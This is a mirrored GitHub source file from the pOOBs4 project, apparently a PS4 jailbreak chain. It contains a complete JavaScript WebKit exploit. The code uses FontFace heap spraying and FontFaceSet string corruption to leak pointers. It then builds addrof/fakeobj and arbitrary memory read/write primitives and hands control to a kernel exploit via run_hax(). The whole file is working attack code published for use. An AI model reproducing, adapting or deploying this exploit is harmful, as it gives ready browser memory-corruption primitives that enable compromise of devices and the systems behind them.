mirror of
https://github.com/ChendoChap/pOOBs4
synced 2025-02-07 02:20:18 -05:00
![Chendo](/assets/img/avatar_default.png)
- kill sysveri even more and leave no witnesses. - fix a bug that somehow wasn't breaking anything? - fix a rop bug regarding sys-v stack alignment. - provide more krop helper functions. - provide a smaller img (0x1800 bytes, also very compressible). see [#29] [#31] - add wk expl sanity check. - make sure pages accessed by kernel are locked. - try to reduce time spent with interrupts disabled. - @@@ Note: extensive testing has not been performed. it might be worse so panic at your own risk! @@@
463 lines
14 KiB
JavaScript
463 lines
14 KiB
JavaScript
var PAGE_SIZE = 16384;
|
|
var SIZEOF_CSS_FONT_FACE = 0xb8;
|
|
var HASHMAP_BUCKET = 208;
|
|
var STRING_OFFSET = 20;
|
|
var SPRAY_FONTS = 0x100a;
|
|
var GUESS_FONT = 0x200430000;
|
|
var NPAGES = 20;
|
|
var INVALID_POINTER = 0;
|
|
var HAMMER_FONT_NAME = "font8"; //must take bucket 3 of 8 (counting from zero)
|
|
var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time
|
|
|
|
function poc() {
|
|
|
|
var union = new ArrayBuffer(8);
|
|
var union_b = new Uint8Array(union);
|
|
var union_i = new Uint32Array(union);
|
|
var union_f = new Float64Array(union);
|
|
|
|
var bad_fonts = [];
|
|
|
|
for (var i = 0; i < SPRAY_FONTS; i++)
|
|
bad_fonts.push(new FontFace("font1", "", {}));
|
|
|
|
var good_font = new FontFace("font2", "url(data:text/html,)", {});
|
|
bad_fonts.push(good_font);
|
|
|
|
var arrays = [];
|
|
for (var i = 0; i < 512; i++)
|
|
arrays.push(new Array(31));
|
|
|
|
arrays[256][0] = 1.5;
|
|
arrays[257][0] = {};
|
|
arrays[258][0] = 1.5;
|
|
|
|
var jsvalue = {
|
|
a: arrays[256],
|
|
b: new Uint32Array(1),
|
|
c: true
|
|
};
|
|
|
|
var string_atomifier = {};
|
|
var string_id = 10000000;
|
|
|
|
function ptrToString(p) {
|
|
var s = '';
|
|
for (var i = 0; i < 8; i++) {
|
|
s += String.fromCharCode(p % 256);
|
|
p = (p - p % 256) / 256;
|
|
}
|
|
return s;
|
|
}
|
|
|
|
function stringToPtr(p, o) {
|
|
if (o === undefined)
|
|
o = 0;
|
|
var ans = 0;
|
|
for (var i = 7; i >= 0; i--)
|
|
ans = 256 * ans + p.charCodeAt(o + i);
|
|
return ans;
|
|
}
|
|
|
|
var strings = [];
|
|
|
|
function mkString(l, head) {
|
|
var s = head + '\u0000'.repeat(l - STRING_OFFSET - 8 - head.length) + (string_id++);
|
|
string_atomifier[s] = 1;
|
|
strings.push(s);
|
|
return s;
|
|
}
|
|
|
|
var guf = GUESS_FONT;
|
|
var ite = true;
|
|
var matches = 0;
|
|
|
|
var round = 0;
|
|
|
|
window.ffses = {};
|
|
|
|
do {
|
|
|
|
var p_s = ptrToString(NPAGES + 2); // vector.size()
|
|
for (var i = 0; i < NPAGES; i++)
|
|
p_s += ptrToString(guf + i * PAGE_SIZE);
|
|
p_s += ptrToString(INVALID_POINTER);
|
|
|
|
for (var i = 0; i < 256; i++)
|
|
mkString(HASHMAP_BUCKET, p_s);
|
|
|
|
var ffs = ffses["search_" + (++round)] = new FontFaceSet(bad_fonts);
|
|
|
|
var badstr1 = mkString(HASHMAP_BUCKET, p_s);
|
|
|
|
var guessed_font = null;
|
|
var guessed_addr = null;
|
|
|
|
for (var i = 0; i < SPRAY_FONTS; i++) {
|
|
bad_fonts[i].family = "search" + round;
|
|
if (badstr1.substr(0, p_s.length) != p_s) {
|
|
guessed_font = i;
|
|
var p_s1 = badstr1.substr(0, p_s.length);
|
|
for (var i = 1; i <= NPAGES; i++) {
|
|
if (p_s1.substr(i * 8, 8) != p_s.substr(i * 8, 8)) {
|
|
guessed_addr = stringToPtr(p_s.substr(i * 8, 8));
|
|
break;
|
|
}
|
|
}
|
|
if (matches++ == 0) {
|
|
guf = guessed_addr + 2 * PAGE_SIZE;
|
|
guessed_addr = null;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
|
|
if ((ite = !ite))
|
|
guf += NPAGES * PAGE_SIZE;
|
|
|
|
}
|
|
while (guessed_addr === null);
|
|
|
|
var p_s = '';
|
|
p_s += ptrToString(26);
|
|
p_s += ptrToString(guessed_addr);
|
|
p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
|
|
for (var i = 0; i < 19; i++)
|
|
p_s += ptrToString(INVALID_POINTER);
|
|
|
|
for (var i = 0; i < 256; i++)
|
|
mkString(HASHMAP_BUCKET, p_s);
|
|
|
|
var needfix = [];
|
|
for (var i = 0;; i++) {
|
|
ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]);
|
|
var badstr2 = mkString(HASHMAP_BUCKET, p_s);
|
|
needfix.push(mkString(HASHMAP_BUCKET, p_s));
|
|
bad_fonts[guessed_font].family = "evil2";
|
|
bad_fonts[guessed_font + 1].family = "evil3";
|
|
var leak = stringToPtr(badstr2.substr(badstr2.length - 8));
|
|
if (leak < 0x1000000000000)
|
|
break;
|
|
}
|
|
|
|
function makeReader(read_addr, ffs_name) {
|
|
var fake_s = '';
|
|
fake_s += '0000'; //padding for 8-byte alignment
|
|
fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff
|
|
fake_s += ptrToString(read_addr); //where to read from
|
|
fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit
|
|
p_s = '';
|
|
p_s += ptrToString(29);
|
|
p_s += ptrToString(guessed_addr);
|
|
p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
|
|
p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE);
|
|
for (var i = 0; i < 18; i++)
|
|
p_s += ptrToString(INVALID_POINTER);
|
|
for (var i = 0; i < 256; i++)
|
|
mkString(HASHMAP_BUCKET, p_s);
|
|
var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]);
|
|
mkString(HASHMAP_BUCKET, p_s);
|
|
var relative_read = mkString(HASHMAP_BUCKET, fake_s);
|
|
bad_fonts[guessed_font].family = ffs_name + "_evil1";
|
|
bad_fonts[guessed_font + 1].family = ffs_name + "_evil2";
|
|
bad_fonts[guessed_font + 2].family = ffs_name + "_evil3";
|
|
needfix.push(relative_read);
|
|
if (relative_read.length < 1000) //failed
|
|
return makeReader(read_addr, ffs_name + '_');
|
|
return relative_read;
|
|
}
|
|
|
|
var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr
|
|
|
|
for (var i = 0; i < 100000; i++)
|
|
mkString(128, '');
|
|
|
|
var props = [];
|
|
for (var i = 0; i < 0x10000; i++) {
|
|
props.push({
|
|
value: 0x41434442
|
|
});
|
|
props.push({
|
|
value: jsvalue
|
|
});
|
|
}
|
|
|
|
var jsvalue_leak = null;
|
|
|
|
while (jsvalue_leak === null) {
|
|
Object.defineProperties({}, props);
|
|
for (var i = 0;; i++) {
|
|
if (fastmalloc.charCodeAt(i) == 0x42 &&
|
|
fastmalloc.charCodeAt(i + 1) == 0x44 &&
|
|
fastmalloc.charCodeAt(i + 2) == 0x43 &&
|
|
fastmalloc.charCodeAt(i + 3) == 0x41 &&
|
|
fastmalloc.charCodeAt(i + 4) == 0 &&
|
|
fastmalloc.charCodeAt(i + 5) == 0 &&
|
|
fastmalloc.charCodeAt(i + 6) == 254 &&
|
|
fastmalloc.charCodeAt(i + 7) == 255 &&
|
|
fastmalloc.charCodeAt(i + 24) == 14
|
|
) {
|
|
jsvalue_leak = stringToPtr(fastmalloc, i + 32);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
var rd_leak = makeReader(jsvalue_leak, 'ffs4');
|
|
var array256 = stringToPtr(rd_leak, 16); //arrays[256]
|
|
var ui32a = stringToPtr(rd_leak, 24); //Uint32Array
|
|
|
|
var rd_arr = makeReader(array256, 'ffs5');
|
|
var butterfly = stringToPtr(rd_arr, 8);
|
|
|
|
var rd_ui32 = makeReader(ui32a, 'ffs6');
|
|
for (var i = 0; i < 8; i++)
|
|
union_b[i] = rd_ui32.charCodeAt(i);
|
|
|
|
var structureid_low = union_i[0];
|
|
var structureid_high = union_i[1];
|
|
|
|
//setup for addrof/fakeobj
|
|
//in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double
|
|
//in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue
|
|
union_i[0] = 0x10000;
|
|
union_i[1] = 0; //account for nan-boxing
|
|
arrays[257][1] = {}; //force it to still be jsvalue-array not double-array
|
|
arrays[257][0] = union_f[0];
|
|
union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0;
|
|
union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000;
|
|
arrays[256][i] = union_f[0];
|
|
|
|
//hammer time!
|
|
|
|
pp_s = '';
|
|
pp_s += ptrToString(56);
|
|
for (var i = 0; i < 12; i++)
|
|
pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE);
|
|
|
|
var fake_s = '';
|
|
fake_s += '0000'; //padding for 8-byte alignment
|
|
fake_s += ptrToString(INVALID_POINTER); //never dereferenced
|
|
fake_s += ptrToString(butterfly); //hammer target
|
|
fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34
|
|
|
|
var ffs7_args = [];
|
|
for (var i = 0; i < 12; i++)
|
|
ffs7_args.push(bad_fonts[guessed_font + i]);
|
|
ffs7_args.push(good_font);
|
|
|
|
var ffs8_args = [bad_fonts[guessed_font + 12]];
|
|
for (var i = 0; i < 5; i++)
|
|
ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {}));
|
|
|
|
for (var i = 0; i < HAMMER_NSTRINGS; i++)
|
|
mkString(HASHMAP_BUCKET, pp_s);
|
|
|
|
ffses.ffs7 = new FontFaceSet(ffs7_args);
|
|
mkString(HASHMAP_BUCKET, pp_s);
|
|
ffses.ffs8 = new FontFaceSet(ffs8_args);
|
|
var post_ffs = mkString(HASHMAP_BUCKET, fake_s);
|
|
needfix.push(post_ffs);
|
|
|
|
for (var i = 0; i < 13; i++)
|
|
bad_fonts[guessed_font + i].family = "hammer" + i;
|
|
|
|
function boot_addrof(obj) {
|
|
arrays[257][32] = obj;
|
|
union_f[0] = arrays[258][0];
|
|
return union_i[1] * 0x100000000 + union_i[0];
|
|
}
|
|
|
|
function boot_fakeobj(addr) {
|
|
union_i[0] = addr;
|
|
union_i[1] = (addr - addr % 0x100000000) / 0x100000000;
|
|
arrays[258][0] = union_f[0];
|
|
return arrays[257][32];
|
|
}
|
|
|
|
//craft misaligned typedarray
|
|
|
|
var arw_master = new Uint32Array(8);
|
|
var arw_slave = new Uint8Array(1);
|
|
var obj_master = new Uint32Array(8);
|
|
var obj_slave = {
|
|
obj: null
|
|
};
|
|
|
|
var addrof_slave = boot_addrof(arw_slave);
|
|
var addrof_obj_slave = boot_addrof(obj_slave);
|
|
union_i[0] = structureid_low;
|
|
union_i[1] = structureid_high;
|
|
union_b[6] = 7;
|
|
var obj = {
|
|
jscell: union_f[0],
|
|
butterfly: true,
|
|
buffer: arw_master,
|
|
size: 0x5678
|
|
};
|
|
|
|
function i48_put(x, a) {
|
|
a[4] = x | 0;
|
|
a[5] = (x / 4294967296) | 0;
|
|
}
|
|
|
|
function i48_get(a) {
|
|
return a[4] + a[5] * 4294967296;
|
|
}
|
|
|
|
window.addrof = function (x) {
|
|
obj_slave.obj = x;
|
|
return i48_get(obj_master);
|
|
}
|
|
|
|
window.fakeobj = function (x) {
|
|
i48_put(x, obj_master);
|
|
return obj_slave.obj;
|
|
}
|
|
|
|
function read_mem_setup(p, sz) {
|
|
i48_put(p, arw_master);
|
|
arw_master[6] = sz;
|
|
}
|
|
|
|
window.read_mem = function (p, sz) {
|
|
read_mem_setup(p, sz);
|
|
var arr = [];
|
|
for (var i = 0; i < sz; i++)
|
|
arr.push(arw_slave[i]);
|
|
return arr;
|
|
};
|
|
|
|
window.write_mem = function (p, data) {
|
|
read_mem_setup(p, data.length);
|
|
for (var i = 0; i < data.length; i++)
|
|
arw_slave[i] = data[i];
|
|
};
|
|
|
|
window.read_ptr_at = function (p) {
|
|
var ans = 0;
|
|
var d = read_mem(p, 8);
|
|
for (var i = 7; i >= 0; i--)
|
|
ans = 256 * ans + d[i];
|
|
return ans;
|
|
};
|
|
|
|
window.write_ptr_at = function (p, d) {
|
|
var arr = [];
|
|
for (var i = 0; i < 8; i++) {
|
|
arr.push(d & 0xff);
|
|
d /= 256;
|
|
}
|
|
write_mem(p, arr);
|
|
};
|
|
|
|
(function () {
|
|
var magic = boot_fakeobj(boot_addrof(obj) + 16);
|
|
magic[4] = addrof_slave;
|
|
magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000;
|
|
obj.buffer = obj_master;
|
|
magic[4] = addrof_obj_slave;
|
|
magic[5] = (addrof_obj_slave - addrof_obj_slave % 0x100000000) / 0x100000000;
|
|
magic = null;
|
|
})();
|
|
|
|
//fix fucked objects to stabilize webkit
|
|
|
|
(function () {
|
|
//fix fontfaceset (memmoved 96 bytes to low, move back)
|
|
var ffs_addr = read_ptr_at(addrof(post_ffs) + 8) - 208;
|
|
write_mem(ffs_addr, read_mem(ffs_addr - 96, 208));
|
|
//fix strings (restore "valid") header
|
|
for (var i = 0; i < needfix.length; i++) {
|
|
var addr = read_ptr_at(addrof(needfix[i]) + 8);
|
|
write_ptr_at(addr, (HASHMAP_BUCKET - 20) * 0x100000000 + 1);
|
|
write_ptr_at(addr + 8, addr + 20);
|
|
write_ptr_at(addr + 16, 0x80000014);
|
|
}
|
|
//fix array butterfly
|
|
write_ptr_at(butterfly + 248, 0x1f0000001f);
|
|
})();
|
|
|
|
//^ @sleirs' stuff. anything pre arb rw is magic, I'm happy I don't have to deal with that.
|
|
|
|
//create compat stuff for kexploit.js
|
|
var expl_master = new Uint32Array(8);
|
|
var expl_slave = new Uint32Array(2);
|
|
var addrof_expl_slave = addrof(expl_slave);
|
|
var m = fakeobj(addrof(obj) + 16);
|
|
obj.buffer = expl_slave;
|
|
m[7] = 1;
|
|
obj.buffer = expl_master;
|
|
m[4] = addrof_expl_slave;
|
|
m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000;
|
|
m[7] = 1;
|
|
|
|
var prim = {
|
|
write8: function (addr, value) {
|
|
expl_master[4] = addr.low;
|
|
expl_master[5] = addr.hi;
|
|
if (value instanceof int64) {
|
|
expl_slave[0] = value.low;
|
|
expl_slave[1] = value.hi;
|
|
} else {
|
|
expl_slave[0] = value;
|
|
expl_slave[1] = 0;
|
|
}
|
|
},
|
|
write4: function (addr, value) {
|
|
expl_master[4] = addr.low;
|
|
expl_master[5] = addr.hi;
|
|
if (value instanceof int64) {
|
|
expl_slave[0] = value.low;
|
|
} else {
|
|
expl_slave[0] = value;
|
|
}
|
|
},
|
|
write2: function (addr, value) {
|
|
expl_master[4] = addr.low;
|
|
expl_master[5] = addr.hi;
|
|
var tmp = expl_slave[0] & 0xFFFF0000;
|
|
if (value instanceof int64) {
|
|
expl_slave[0] = ((value.low & 0xFFFF) | tmp);
|
|
} else {
|
|
expl_slave[0] = ((value & 0xFFFF) | tmp);
|
|
}
|
|
},
|
|
write1: function (addr, value) {
|
|
expl_master[4] = addr.low;
|
|
expl_master[5] = addr.hi;
|
|
var tmp = expl_slave[0] & 0xFFFFFF00;
|
|
if (value instanceof int64) {
|
|
expl_slave[0] = ((value.low & 0xFF) | tmp);
|
|
} else {
|
|
expl_slave[0] = ((value & 0xFF) | tmp);
|
|
}
|
|
},
|
|
read8: function (addr) {
|
|
expl_master[4] = addr.low;
|
|
expl_master[5] = addr.hi;
|
|
return new int64(expl_slave[0], expl_slave[1]);
|
|
},
|
|
read4: function (addr) {
|
|
expl_master[4] = addr.low;
|
|
expl_master[5] = addr.hi;
|
|
return expl_slave[0];
|
|
},
|
|
read2: function (addr) {
|
|
expl_master[4] = addr.low;
|
|
expl_master[5] = addr.hi;
|
|
return expl_slave[0] & 0xFFFF;
|
|
},
|
|
read1: function (addr) {
|
|
expl_master[4] = addr.low;
|
|
expl_master[5] = addr.hi;
|
|
return expl_slave[0] & 0xFF;
|
|
},
|
|
leakval: function (obj) {
|
|
obj_slave.obj = obj;
|
|
return new int64(obj_master[4], obj_master[5]);
|
|
}
|
|
};
|
|
window.p = prim;
|
|
run_hax();
|
|
} |